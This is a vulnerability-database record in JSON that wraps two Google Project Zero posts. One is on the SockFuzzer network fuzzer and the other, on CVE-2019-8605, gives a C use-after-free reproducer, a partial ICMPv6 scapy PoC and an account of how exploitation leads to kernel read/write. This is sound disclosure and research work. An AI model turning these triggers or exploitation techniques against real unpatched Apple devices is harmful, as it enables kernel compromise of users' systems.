ICMPv6PacketTooBig() / (\"\\x41\"*40)\n\nprint(raw(outer).hex())\n\np = sr1(outer)\n\nif p:\n\np.show() \n \n--- \n \nCreating a working PoC from the crashing protobuf input took about an hour, thanks to the straightforward mapping from grammar to syscalls/network input and the utility of being able to debug the local crashing \u201ckernel\u201d using gdb.\n\nDrawbacks\n\nAny fuzzing project of this size will require design decisions that have some tradeoffs. The most obvious issue is the inability to detect race conditions. Threading bugs can be found with fuzzing but are still best left to static analysis and manual review as fuzzers can\u2019t currently deal with the state space of interleaving threads. Maybe this will change in the future, but today it\u2019s an issue. I accepted this problem and removed threading completely from the fuzzer; some bugs were missed by this, such as a race condition [in the bind syscall](<https://youtu.be/8cOx7vfszZU?t=366>).\n\nAnother issue lies in the fact that by replacing so much functionality by hand, it\u2019s hard to extend the fuzzer trivially to support additional attack surfaces. This is evidenced by another issue I missed in [packet filtering](<https://twitter.com/WangTielei/status/1246376070367965184>). I don\u2019t support VFS at the moment, so I can\u2019t access the bpf device. A syzkaller-like project would have less trouble with supporting this code since VFS would already be working. I made an explicit decision to build a simple tool that works very effectively and meticulously, but this can mean missing some low hanging fruit due to the effort involved.\n\nPer-test case determinism is an issue that I\u2019ve solved only partially. If test cases aren\u2019t deterministic, libFuzzer becomes less efficient as it thinks some tests are finding new coverage when they really depend on one that was run previously. To mitigate this problem, I track open file descriptors manually and run all of the garbage collection thread functions after each test case. Unfortunately, there are many ioctls that change state in the background. It\u2019s hard to keep track of them to clean up properly but they are important enough that it\u2019s not worth disabling them just to improve determinism. If I were working on a long-term well-resourced overhaul of the XNU network stack, I would probably make sure there\u2019s a way to cleanly tear down the whole stack to prevent this problem.\n\nPerhaps the largest caveat of this project is its reliance on source code. Without the efficiency and productivity losses that come with binary-only research, I can study the problem more closely to the source. But I humbly admit that this approach ignores many targets and doesn\u2019t necessarily match real attackers\u2019 workflows. Real attackers take the shortest path they can to find an exploitable vulnerability, and often that path is through bugs found via binary-based fuzzing or reverse engineering and auditing. I intend to discover some of the best practices for fuzzing with the source and then migrate this approach to work with binaries. [Binary instrumentation](<https://github.com/googleprojectzero/TinyInst>) can assist in coverage guided fuzzing, but some of my tricks around substituting fake implementations or changing behavior to be more fuzz-friendly is a more significant burden when working with binaries. But I believe these are tractable problems, and I expect researchers can adapt some of these techniques to binary-only fuzzing efforts, even if there is additional overhead.\n\nOpen Sourcing and Future Work\n\nThis fuzzer is now open source on [GitHub](<https://github.com/googleprojectzero/SockFuzzer>). I invite you to study the code and improve it! I\u2019d like to continue the development of this fuzzer semi-publicly. Some modifications that yield new vulnerabilities may need to be embargoed until relevant patches go out. Still, I hope that I can be as transparent as possible in my research. By working publicly, it may be possible to bring the original XNU project and this fuzzer closer together by sharing the efforts. I\u2019m hoping the upstream developers can make use of this project to perform their own testing and perhaps make their own improvements to XNU to make this type of testing more accessible. There\u2019s plenty of remaining work to improve the existing grammar, add support for new subsystems, and deal with some high-level design improvements such as adding proper threading support.\n\nAn interesting property of the current fuzzer is that despite reaching coverage saturation on ClusterFuzz after many months, there is still reachable but uncovered code due to the enormous search space. This means that improvements in coverage-guided fuzzing could find new bugs. I\u2019d like to encourage teams who perform fuzzing engine research to use this project as a baseline. If you find a bug, you can take the credit for it! I simply hope you share your improvements with me and the rest of the community.\n\nConclusion\n\nModern kernel development has some catching up to do. XNU and Linux suffer from some process failures that lead to [shipping](<https://www.synacktiv.com/en/publications/return-of-the-ios-sandbox-escape-lightspeeds-back-in-the-race.html>) [security](<https://www.theguardian.com/technology/2019/aug/20/apple-reopens-security-flaw-ios-iphone>) [regressions](<https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c6c9fee35dc27362b7bac34b2fc9f5b8ace2e22c>). Kernels, perhaps the most security-critical component of operating systems, are becoming increasingly fragile as memory corruption issues become easier to discover. Implementing better mitigations is half the battle; we need better kernel unit testing to make identifying and fixing (even non-security) bugs cheaper.\n\nSince my last post, Apple has increased the frequency of its open-source releases. This is great for end-user security. The more publicly that Apple can develop XNU, the more that external contributors like myself may have a chance to contribute fixes and improvements directly. Maintaining internal branches for upcoming product launches while keeping most development open has helped Chromium and Android security, and I believe XNU\u2019s development could follow this model. As software engineering grows as a field, our experience has shown us that open, shared, and continuous development has a real impact on software quality and stability by improving developer productivity. If you don\u2019t invest in CI, unit testing, security reviews, and fuzzing, attackers may do that for you - and users pay the cost whether they recognize it or not.\n", "published": "2021-04-22T00:00:00", "modified": "2021-04-22T00:00:00", "epss": [{"cve": "CVE-2018-4407", "epss": 0.07347, "percentile": 0.93101, "modified": "2023-06-06"}, {"cve": "CVE-2019-8605", "epss": 0.00133, "percentile": 0.47226, "modified": "2023-06-06"}], "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3}, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://googleprojectzero.blogspot.com/2021/04/designing-sockfuzzer-network-syscall.html", "reporter": "GoogleProjectZero", "references": [], "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "immutableFields": [], "lastseen": "2023-06-07T02:00:40", "viewCount": 442, "enchantments": {"dependencies": {"references": [{"type": "apple", "idList": ["APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:395E729CF93F555C415D358DB1C43E9A", "APPLE:466BEDED69CFA24057993B0F7E611178", "APPLE:4F18D4C9912459DD113CA737563EA768", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:95BC210DA5C57E5032BDB392962096A3", "APPLE:E110ECBEC1B5F4EBE4C6799FF1A4F4E0", "APPLE:E6562A443B7DE882FE6DB7BD64EBE1E5", "APPLE:HT209106", "APPLE:HT209107", "APPLE:HT209108", "APPLE:HT209139", "APPLE:HT209193", "APPLE:HT210122", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550"]}, {"type": "attackerkb", "idList": ["AKB:C3EBA984-247F-44E9-AD4B-260AFA76DD28"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2019-8605"]}, {"type": "cve", "idList": ["CVE-2018-4407", "CVE-2019-8605"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892", "EDB-ID:47409"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "GOOGLEPROJECTZERO:DC5C56AD10221A86E949EAE9E75DC0DB"]}, {"type": "kitploit", "idList": ["KITPLOIT:5494076556436489947"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:762422C08BCD930748F1EED62A25716D"]}, {"type": "nessus", "idList": ["700667.PRM", "700713.PRM", "700719.PRM", "APPLETV_12_3.NASL", "APPLETV_12_4_1.NASL", "APPLE_IOS_123_CHECK.NBIN", "MACOSX_SECUPD2018-005.NASL", "MACOSX_SECUPD2019-003.NASL", "MACOSX_SECUPD_10_13_6_2018-002.NASL", "MACOS_10_14.NASL", "MACOS_10_14_5.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814426", "OPENVAS:1361412562310814888", "OPENVAS:1361412562310815616"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "thn", "idList": ["THN:38E80608368A67C138D1E4D8187D2AA3", "THN:4376782A3F009FEED68FDD2022A11EF5", "THN:754EDA3BD8060BD079B3DB44EE616405", "THN:79F83648DEAA2E305471E325D6B2DE48", "THN:BC46175420BE934D07B4CB081F495CCB", "THN:C19BDA30D2242223E7A434F1E4051E68"]}, {"type": "threatpost", "idList": ["THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "THREATPOST:907E52357A8E3B0D645D06105F499AAC", "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C"]}, {"type": "zdt", "idList": ["1337DAY-ID-31545", "1337DAY-ID-32762"]}]}, "score": {"value": 8.8, "vector": "NONE"}, "backreferences": {"references": [{"type": "apple", "idList": ["APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:395E729CF93F555C415D358DB1C43E9A", "APPLE:466BEDED69CFA24057993B0F7E611178", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:HT209193", "APPLE:HT210122", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550"]}, {"type": "cve", "idList": ["CVE-2018-4407"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "GOOGLEPROJECTZERO:DC5C56AD10221A86E949EAE9E75DC0DB"]}, {"type": "kitploit", "idList": ["KITPLOIT:5494076556436489947"]}, {"type": "nessus", "idList": ["MACOSX_SECUPD2018-005.NASL", "MACOSX_SECUPD_10_13_6_2018-002.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814426"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "thn", "idList": ["THN:38E80608368A67C138D1E4D8187D2AA3", "THN:79F83648DEAA2E305471E325D6B2DE48", "THN:BC46175420BE934D07B4CB081F495CCB"]}, {"type": "threatpost", "idList": ["THREATPOST:0F9EDE9A622A021B9B79C50214D7E8AD", "THREATPOST:907E52357A8E3B0D645D06105F499AAC", "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C"]}, {"type": "zdt", "idList": ["1337DAY-ID-31545", "1337DAY-ID-32762"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2018-4407", "epss": 0.07347, "percentile": 0.93066, "modified": "2023-05-07"}, {"cve": "CVE-2019-8605", "epss": 0.00133, "percentile": 0.47064, "modified": "2023-05-07"}], "vulnersScore": 8.8}, "_state": {"dependencies": 1686103629, "score": 1686103495, "epss": 0}, "_internal": {"score_hash": "4725e2e2cf205118a17837589a17e074"}}
{"googleprojectzero": [{"lastseen": "2023-06-07T02:00:20", "description": "Posted by Ned Williamson, 20% on Project Zero \n\n\n# Introduction\n\nI have a somewhat unique opportunity in this writeup to highlight my experience as an iOS research newcomer. Many high quality iOS kernel exploitation writeups have been published, but those often feature weaker initial primitives combined with lots of cleverness, so it\u2019s hard to tell which iOS internals were specific to the exploit and which are generic techniques.\n\n** \n**\n\nIn this post, we\u2019ll look at CVE-2019-8605, a vulnerability in the iOS kernel and macOS for five years and how to exploit it to achieve arbitrary kernel read/write. This issue affected XNU as early as 2013, and was reported by me to Apple on March 2019. It was then patched in iOS 12.3 in May 2019 and I [released](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806>) the complete details including the exploit for iOS for analysis, named \u201cSockPuppet,\u201d in July 2019. It was then discovered that this issue regressed in iOS 12.4 and was later patched in iOS 12.4.1 in late August 2019.\n\n** \n**\n\nThe primitive in SockPuppet is stronger than usual: it offers an arbitrary read and free with very little work. This makes it easier to see what a canonical iOS exploit looks like since we can skip over the usual work to set up strong initial primitives. I\u2019ll begin by describing how I found my bug, and then explain how I exploited it given only a background in Linux and Windows exploitation. If you\u2019re interested, I\u2019ve collaborated with LiveOverflow to make a video explaining this bug. You can watch it [here](<https://www.youtube.com/watch?v=YV3jewkUJ54>).\n\n# Bug Hunting\n\n## Why network fuzzing?\n\nOne technique for choosing fuzz targets is enumerating previous vulnerability reports for a given project, finding the bug locations in the source tree, and then picking up a component of the project that is self-contained and contains a diverse subset of the bugs. Then by creating a fuzzer which is fairly generic but can still reproduce the previous finds, you are likely to find new ones. When I started to work on my fuzzer, I used two bug reports to seed my research: an [mptcp_usr_connectx buffer overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) by Ian Beer of Google Project Zero and an [ICMP packet parsing buffer overflow](<https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407>) by Kevin Backhouse of Semmle. What made these perfect candidates was that they were critical security issues in completely different parts of the same subsystem: one in the network-related syscalls and one in parsing of remote packets. If I could make a fuzzer that would make random network-related syscalls and feed random packets into the IP layer, I might be able to reproduce these bugs and find new ones. Those past bugs were discovered using code auditing and static analysis, respectively. As someone who primarily uses fuzzing to find memory corruption vulnerabilities, these are highly useful artifacts for me to study, since they come from some of the best practitioners of auditing and static analysis in the industry. In case I failed to reproduce the bugs or find any new ones, it would at least be an educational project for me. Success would validate that my approach was at least as good as the approaches originally used to discover these bugs. Failure would be an example of a gap in my approach.\n\n** \n**\n\nThe first draft of the fuzzer went off without a hitch: it found Ian\u2019s and Kevin\u2019s bugs with actionable ASAN reports. Even better, for the ICMP buffer overflow it crashed exactly on the line that Ian described in his email to Kevin as described on Semmle\u2019s blog. When I saw how accurate and effective this was, I started to get really excited. Even better, my fuzzer went on to find a variant of the ICMP bug that I didn\u2019t see mentioned publicly, but was fortunately addressed in Apple\u2019s thorough patch for the vulnerability.\n\n## From Protobuf to PoC\n\nThe exact details of how the fuzzer works will be described in a future post, but some context is necessary to understand how this specific bug was found. At a high level, the fuzzer\u2019s design is a lot like that of [syzkaller](<https://github.com/google/syzkaller>). It uses a [protobuf-based grammar](<https://github.com/google/libprotobuf-mutator>) to encode network-related syscalls with the types of their arguments. On each fuzzer iteration, it does a sequence of random syscalls, interleaving (as a pseudo-syscall) the arrival of random packets at the [network layer](<https://en.wikipedia.org/wiki/Network_layer>).\n\n** \n**\n\nFor example, the syscall to open a socket is int socket(int domain, int type, int protocol). The protobuf message representing this syscall and its arguments is:\n\n** \n**\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n}\n\n \n\n\nenum Domain {\n\nAF_UNSPEC = 0;\n\nAF_UNIX = 1;\n\nAF_INET = 2;\n\n...\n\nAF_MAX = 40;\n\n}\n\n \n\n\nenum SoType {\n\nSOCK_STREAM = 1;\n\nSOCK_DGRAM = 2;\n\nSOCK_RAW = 3;\n\nSOCK_RDM = 4;\n\nSOCK_SEQPACKET = 5;\n\n}\n\n \n\n\nenum Protocol {\n\nIPPROTO_IP = 0;\n\nIPPROTO_ICMP = 1;\n\nIPPROTO_IGMP = 2;\n\nIPPROTO_GGP = 3;\n\n...\n\n} \n \n--- \n \n** \n**\n\nLibFuzzer and protobuf-mutator work together to generate and mutate protobuf messages using the format I defined. Then I consume these messages and call the real C implementation. The fuzzer might generate the following protobuf message as part of the sequence of messages representing syscalls:\n\n** \n**\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n} \n \n--- \n \n** \n**\n\nIn the loop over input syscall messages, I call the syscall appropriately based on the message type:\n\n** \n**\n\nstd::set<int> open_fds;\n\n \n\n\n// ...\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\nassert(open_fds.find(fd) != open_fds.end());\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n} \n \n--- \n \n** \n**\n\nHere, you can see some of the light manual work that is involved: I keep track of open file descriptors by hand, so I can be sure to close them at the end of one fuzzer iteration.\n\n** \n**\n\nThe fuzzer started out by simply encoding all the network-related syscalls into messages that had the correct types for each argument. To improve coverage, I refined the grammar and made changes to the code under test. Because there is so much code to cover, the most efficient way to find bugs is to identify suspicious-looking code manually by auditing. Given our fuzzing infrastructure, we can look at the coverage metrics to understand how well-tested some suspicious code is and tweak the fuzzer to uniformly exercise desired states. That may be at a higher level of abstraction than code coverage alone, but coverage will still help you identify if and how often a certain state is reached.\n\n** \n**\n\nNow let\u2019s see how refining the fuzz grammar led us from a low-quality crash to a clean and highly exploitable PoC. The testcase triggering the first crash for CVE-2019-8605 only affected raw sockets, and was therefore root only. Here\u2019s the reproducer I submitted to Apple:\n\n \n\n\n#define IPPROTO_IP 0\n\n \n\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\n \n\n\nint main() {\n\nint s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nstruct sockaddr_in6 sa1 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65000,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_LOOPBACK,\n\n.sin6_scope_id = 0,\n\n};\n\nstruct sockaddr_in6 sa2 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65001,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_ANY,\n\n.sin6_scope_id = 0,\n\n};\n\nconnect(s, (const sockaddr*)&sa1, sizeof(sa1));\n\nunsigned char buffer[4] = {};\n\nsetsockopt(s, 41, 50, buffer, sizeof(buffer));\n\nconnect(s, (const sockaddr*)&sa2, sizeof(sa2));\n\nclose(s);\n\n} \n \n--- \n \n** \n**\n\nAs this C reproducer was modelled directly after the protobuf testcase, you can see how my early grammar had lots of precision for sockaddr structures. But setsockopt was horribly underspecified: it just took 2 integers and a random buffer of data. Fortunately, that was enough for us to guess 41 (IPPROTO_IPV6) and 50 (IPV6_3542RTHDR), correctly setting an IPv6 output option.\n\n** \n**\n\nLooking at the ASAN report for the use after free, we see the following stack trace for the free:\n\n \n\n\n#0 0x497a3d in free _asan_rtl_:3\n\n#1 0x7f8bbe5f42cd in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n\n#2 0x7f8bbe6b06d0 in rip6_detach /src/bsd/netinet6/raw_ip6.c:829:2\n\n#3 0x7f8bbe6af680 in rip6_abort /src/bsd/netinet6/raw_ip6.c:837:9\n\n#4 0x7f8bbe6b0795 in rip6_disconnect /src/bsd/netinet6/raw_ip6.c:848:9\n\n#5 0x7f8bbe10132f in sodisconnectlocked /src/bsd/kern/uipc_socket.c:1792:10\n\n#6 0x7f8bbe1028dc in soconnectlock /src/bsd/kern/uipc_socket.c:1664:15\n\n#7 0x7f8bbe133e00 in connectit /src/bsd/kern/uipc_syscalls.c:954:10\n\n#8 0x7f8bbe133b25 in connect_nocancel /src/bsd/kern/uipc_syscalls.c:726:10\n\n#9 0x7f8bbe6f22b4 in connect_wrapper /src/fuzzing/syscall_stubs.c:125:7 \n \n--- \n \n** \n**\n\nLooking at the function that actually calls free, we see the following:\n\n \n\n\nvoid\n\nin6_pcbdetach(struct inpcb *inp)\n\n{\n\n// ...\n\nif (!(so->so_flags & SOF_PCBCLEARING)) {\n\nstruct ip_moptions *imo;\n\nstruct ip6_moptions *im6o;\n\n \n\n\ninp->inp_vflag = 0;\n\nif (inp->in6p_options != NULL) {\n\nm_freem(inp->in6p_options);\n\ninp->in6p_options = NULL; // <\\- good\n\n}\n\nip6_freepcbopts(inp->in6p_outputopts); // <\\- bad, dangling pointer\n\nROUTE_RELEASE(&inp->in6p_route);\n\n// free IPv4 related resources in case of mapped addr\n\nif (inp->inp_options != NULL) {\n\n(void) m_free(inp->inp_options);\n\ninp->inp_options = NULL; // <\\- good\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nThe call to ip6_freepcbopts is the culprit here. In my fuzzer build this function was inlined into ipc6_pcbdetach, which explains the backtrace we saw in the bug report. As you can see, the developers intended for the socket options to be reused in some cases by NULLing out each pointer after it was freed. But because the in6p_outputopts are represented by a pointer to another struct, they are freed by the helper function in6_freepcbopts. That function does not know the address of inp, so it cannot clear &inp->in6p_outputopts, as we can see the code in this snippet neglects to do. This bug does look straightforward upon inspection, but the ROUTE_RELEASE on the following line, for example, is safe because it\u2019s modifying the in6p_route stored inline in the inp and correctly NULLing pointers. Older XNU revisions didn\u2019t NULL anything, and either they were all buggy or this code just wasn\u2019t originally designed to account for reuse of the socket.\n\n** \n**\n\nThe freed buffer was created by a call to setsockopt. This is a hint that we might be able to keep accessing the freed buffer with more calls to getsockopt and setsockopt, which would represent read and write primitives respectively. The initial testcase looked like a really specific edge case in raw sockets, so I figured it wasn\u2019t easily exploitable. Whenever I report a bug, I will create a local patch for it to avoid hitting it again in subsequent fuzzing. But because I wanted to find more variants of it, I just disabled raw sockets in my fuzzer with a one line enum change and left the bug intact.\n\n** \n**\n\nThis would prove to be the right idea. I quickly found a new variant that let you read the use-after-free data using getsockopt via a TCP socket, so it worked inside the iOS app sandbox. Awesome! After some quick trial and error I saw that setsockopt wouldn\u2019t work for sockets that have been disconnected. But letting the fuzzer continue to search for a workaround for me was free, so again I worked around the unexploitable testcase and left the bug intact by adding a workaround specifically for the getsockopt case:\n\n \n\n\n// HACK([nedwill](<https://who.corp.google.com/nedwill>)): this prevents us from seeing the trivial read UaF case\n\nif (in6p->inp_state == INPCB_STATE_DEAD) {\n\nerror = 0;\n\nbreak;\n\n}\n\n// Normal handler\n\nerror = ip6_getpcbopt(in6p->in6p_outputopts, optname, sopt); \n \n--- \n \n** \n**\n\nBy this point I realized that setsockopt was an important source of complexity and bugs. I updated the grammar to better model the syscall by confining the name argument for setsockopt to be only valid values selected from an enum. You can see the change below, where SocketOptName enum now specifies a variety of real option names from the SO, TCP, IPV6, and other levels.\n\n \n\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\n- optional int32 name = 2;\n\n+ optional SocketOptName name = 2;\n\n// TODO([nedwill](<https://who.corp.google.com/nedwill>)): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\n \n\n\nenum SocketOptName {\n\n+ option allow_alias = true;\n\n+\n\n+ /* socket.h */\n\n+ SO_DEBUG = 0x0001; /* turn on debugging info recording */\n\n+ SO_ACCEPTCONN = 0x0002; /* socket has had listen() */\n\n+ SO_REUSEADDR = 0x0004; /* allow local address reuse */\n\n+ SO_KEEPALIVE = 0x0008; /* keep connections alive */\n\n+ SO_DONTROUTE = 0x0010; /* just use interface addresses */\n\n+ SO_BROADCAST = 0x0020; /* permit sending of broadcast msgs */\n\n... \n \n--- \n \n** \n**\n\nThese changes were the critical ones that led to the highly exploitable testcase. By allowing the fuzzer to explore the setsockopt space much more efficiently, it wasn\u2019t long before it synthesized a testcase that wrote to the freed buffer. When I looked at the crashing input, was stunned to see this in the decoded protobuf data:\n\n \n\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_NP_EXTENSIONS\n\nval: \"\\267\\000\\000\\000\\001\\000\\000\\000\"\n\nfd: FD_0\n\n} \n \n--- \n \n** \n**\n\nWhat is that SO_NP_EXTENSIONS option? And why did inserting this syscall into the testcase turn it from a memory disclosure into an exploitable memory corruption? Quickly skimming through the SO_NP_EXTENSIONS handling in XNU I realized that we were hitting this:\n\n \n\n\n#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */ \n \n--- \n \n** \n**\n\nI think every vulnerability researcher can relate to the moment when they realize they have a great bug. This was that moment for me; that comment described the exact scenario I needed to turn my use-after-free-read into a use-after-free-write. Transcribing the full testcase to C yields the following:\n\n \n\n\nint s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\n \n\n\n// Permit setsockopt after disconnecting (and freeing socket options)\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));\n\n \n\n\n// Initialize ip6_outputopts\n\nint minmtu = -1;\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));\n\n \n\n\n// Free ip6_outputopts\n\ndisconnectx(s, 0, 0);\n\n \n\n\n// Write to ip6_outputopts\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); \n \n--- \n \n** \n**\n\nIn effect, the fuzzer managed to guess the following syscall:\n\n \n\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); \n \n--- \n \n \nI was surprised to see this because I completely expected the use after free to be triggered in another way. What\u2019s really cool about combining grammar based fuzzing with coverage feedback is that specifying the enums that represent the level and name options along with a raw buffer for the \u201cval\u201d field was enough to find this option and set it correctly. This meant the fuzzer guessed the length (8) of val and the data representing SONPX_SETOPTSHUT (low bit set for each little-endian dword). We can infer that the fuzzer tried the SO_NP_EXTENSIONS option many times before discovering that a length of 8 was notable in terms of additional coverage. Then this set_sock_opt message was propagated throughout the corpus as it was mixed with other relevant testcases, including the one that triggered my original bug. Then ensuring two bits in val were set was just a 1 in 4 guess. The same setsockopt call that setup the buggy state was called again to trigger the use after free, which was another shallow mutation made by the protobuf-mutator, just cloning one member of the syscall sequence. Writing effective fuzzers involves a lot of thinking about probability, and you can see how by giving the fuzzer manually-defined structure in just the right places, it managed to explore at an abstraction level that found a great PoC for this bug.\n\n** \n**\n\nI hope you enjoyed this insight into the bug hunting process. For more background about getting started with this fuzzing approach, take a look at [syzkaller](<https://lwn.net/Articles/677764/>) and this [tutorial](<https://github.com/google/fuzzer-test-suite/blob/master/tutorial/structure-aware-fuzzing.md>).\n\n# Exploitation\n\n## How use after free works\n\nThe exploit I\u2019m about to describe uses a single use after free bug to get a safe and reliable arbitrary read, defeat ASLR, do an arbitrary free, and ultimately allow us to build an arbitrary read/write mechanism. That\u2019s a lot of responsibility for one bug, so it\u2019s worth giving a little background into how use-after-frees work for readers who have never exploited one before. I vividly remember when I read a [post by Chris Evans](<https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html>) right here on this blog, called \u201cWhat is a \u2018good\u2019 memory corruption vulnerability?\u201d When I downloaded and ran Chris\u2019s canonical use after free demonstration, and the \u201cexploit\u201d worked the first try on my laptop, I was instantly struck by the simplicity of it. Since then, I\u2019ve written several real world use after free exploits, and they all stem from the same insight: it\u2019s much easier than you would think to reclaim a freed buffer with controlled data. As long as a buffer is not allocated from a specialized pool (PartitionAlloc, a slab heap, etc.), objects of approximately the same size, i.e., in the same size class, will be mixed between different callers of malloc and free. If you can cause arbitrary allocations that are the same size from your freed object\u2019s size class you can be pretty sure that you will reclaim the freed data quickly. This is by design: if memory allocators did not behave this way, applications would lose performance by not reusing cache lines from recently freed allocations. And if you can tell whether or not you succeeded in reclaiming your freed buffer, exploitation is almost deterministic. So then, what makes a good UaF bug? If you can control when you free, when you use the freed allocation, and can safely check whether you\u2019ve reclaimed it (or can massage the heap to make reclaiming deterministic), exploitation will be straightforward. This is at least how a CTF teammate explained it to me, and it still holds today against real targets. The bug we are looking at in this post is one of those bugs, and for that reason, it\u2019s about as \u201cnice\u201d as memory corruption gets.\n\n## Bootstrapping better primitives\n\nGenerally the end goal of binary exploitation is to get arbitrary code execution, sometimes referred to as \u201cshellcode\u201d when that arbitrary code spawns a shell for you on the target system. For iOS, the situation is slightly more complicated with the addition of PAC, which introduces a security boundary between kernel memory R/W and kernel code execution. This means our bug will serve as an entrypoint to get kernel memory R/W using a data-based attack, with code execution left to another layer of exploitation.\n\n** \n**\n\nTo start the exploit, I thought it would be interesting to see what primitives I could build without knowing Mach specifics. Mach and BSD are the Yin and Yang of XNU, representing a dual view of many fundamental kernel objects. For example, a process is represented twice in the kernel: once as a Mach task and once as a BSD proc. My bug occurs in the BSD half, and most exploits end up getting control of a highly privileged Mach port. This means we\u2019ll need to figure out how to manipulate Mach data structures starting from our corruption on the BSD side. At this point I was still only familiar with the BSD part of the kernel, so I started my research there.\n\n** \n**\n\nHere\u2019s the inpcb containing the dangling inp6_outputopts 